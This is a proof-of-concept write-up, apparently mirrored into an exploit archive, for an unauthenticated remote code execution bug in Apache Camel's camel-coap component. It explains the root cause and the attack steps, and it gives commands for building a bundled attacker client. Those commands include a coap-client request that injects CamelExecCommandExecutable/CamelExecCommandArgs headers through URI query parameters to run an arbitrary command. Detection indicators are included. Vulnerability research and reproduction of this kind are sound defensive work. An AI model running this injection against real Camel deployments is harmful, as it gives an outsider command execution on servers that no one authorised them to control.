camel-coap Header Injection → RCE Self-Contained Reproducer (CVE-2026-33453)

Metadata

Affected Target

Summary

Apache Camel’s camel-coap component copies CoAP request URI query parameters directly into Camel Exchange headers inside CamelCoapResource.handleRequest(), without applying any HeaderFilterStrategy. Because CoAPEndpoint extends DefaultEndpoint (not DefaultHeaderFilterStrategyEndpoint) and CoAPComponent does not implement HeaderFilterStrategyComponent, internal Camel*-prefixed control headers can be injected by any unauthenticated CoAP client simply by adding query parameters to the request URI. When the route forwards to a header-sensitive producer such as camel-exec, an attacker-controlled CamelExecCommandExecutable/CamelExecCommandArgs header overrides the configured command, giving unauthenticated remote code execution from a single UDP datagram. This is a self-contained Spring Boot reproducer bundling both the vulnerable victim route (coap://.../run → exec:echo) and an attacker CoAP client, so no external target or Docker container is required to reproduce the bug.

Vulnerability Details

Root Cause

1
2
3
4
5
6
7
8

// CamelCoapResource.handleRequest() - affected version
OptionSet options = exchange.getRequest().getOptions();
for (String s : options.getUriQuery()) {
    int i = s.indexOf('=');
    String name  = (i == -1) ? s : s.substring(0, i);
    String value = (i == -1) ? "" : s.substring(i + 1);
    camelExchange.getIn().setHeader(name, value);   // NO HeaderFilterStrategy!
}

CoAP is UDP-based (RFC 7252) with no built-in authentication (DTLS is optional and disabled by default), so any client able to reach the port can set arbitrary headers on the Exchange.

Attack Vector

1. A Camel route consumes from coap://0.0.0.0:5683/run and forwards to exec:echo?args=hello (a fixed, harmless command in the victim configuration).
2. The attacker sends a single CoAP UDP datagram to coap://target:5683/run with query parameters CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned.
3. CamelCoapResource.handleRequest() copies both query parameters into Exchange headers with no filtering.
4. camel-exec honors the injected CamelExecCommandExecutable/CamelExecCommandArgs headers by default, overriding the route’s configured command and executing the attacker’s command instead.
5. Command stdout is written back into the Exchange body and returned directly in the CoAP response.

Impact

Unauthenticated remote code execution from a single UDP packet, with command output returned in-band via the CoAP response — no callback/exfiltration channel required. The same header-injection primitive also reaches other header-sensitive producers (camel-file → CamelFileName path traversal/arbitrary write, camel-bean → CamelBeanMethodName method-invocation control, camel-sql, templating components).

Environment / Lab Setup

Target:   Spring Boot app with a Camel route: coap://0.0.0.0:5683/run -> exec:echo?args=hello
Attacker: bundled CoAP client (ExploitController REST endpoints) or any raw CoAP client (e.g. libcoap's coap-client)

No Docker container or external service is required — the reproducer app is both the vulnerable CoAP server and the attacker client.

Proof of Concept

PoC Application

See pom.xml and src/main/java/com/example/ in this folder — CoapExecRoute defines the vulnerable victim route, ExploitController bundles a CoAP attacker client exposed via /exploit/normal and /exploit/attack.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

mvn clean package -DskipTests
mvn spring-boot:run

curl http://localhost:8080/exploit/normal

curl "http://localhost:8080/exploit/attack"
curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap"

coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned"

ls -la /tmp/pwned

Detection & Indicators of Compromise

Signs of compromise:

• CoAP/UDP traffic to Camel-hosted CoAP endpoints carrying unexpected Camel*-prefixed query parameters
• The Camel application process spawning shell children not matching the route’s configured exec command
• Unexpected file writes/reads on hosts running camel-file behind CoAP-sourced routes

Remediation

References

• Source repository
• Apache Camel security advisory

Notes

Mirrored from https://github.com/oscerd/CVE-2026-33453 on 2026-07-06. A separate, independently-authored PoC for the same CVE already exists in this archive at pocs/web/2026-07-05_cve-2026-33453-apache-camel-coap-header-injection-rce/ (source: dinosn, a Python exploit against a Dockerized target); this entry is kept distinct as it is a different, self-contained Spring Boot reproducer bundling both the vulnerable route and the attacker client, from the same maintainer who patched the underlying Apache Camel bug.